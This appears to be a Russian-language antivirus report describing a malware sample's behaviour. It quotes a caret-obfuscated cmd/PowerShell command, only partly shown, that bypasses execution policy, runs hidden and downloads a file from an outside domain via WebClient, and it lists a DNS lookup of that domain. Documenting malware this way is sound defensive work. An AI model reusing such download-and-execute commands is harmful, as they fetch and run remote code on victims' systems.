Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^oW^ER^s^he^L^l.exe ^-Exec^U^T^IoN^P^Ol^iCY ^ByPasS -^nO^pr^o^File -WindOw^S^Ty^L^E ^hID^D^E^N^ (nE^w-O^b^jEct ^s^y^StEM^.^Ne^T^.^W^ebCLienT)^.Do^WN^load^file('http://transpori...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^oW^ER^s^he^L^l.exe ^-Exec^U^T^IoN^P^Ol^iCY ^ByPasS -^nO^pr^o^File -WindOw^S^Ty^L^E ^hID^D^E^N^ (nE^w-O^b^jEct ^s^y^StEM^.^Ne^T^.^W^ebCLienT)^.Do^WN^load^file('http://transpori...' (со скрытым окном)
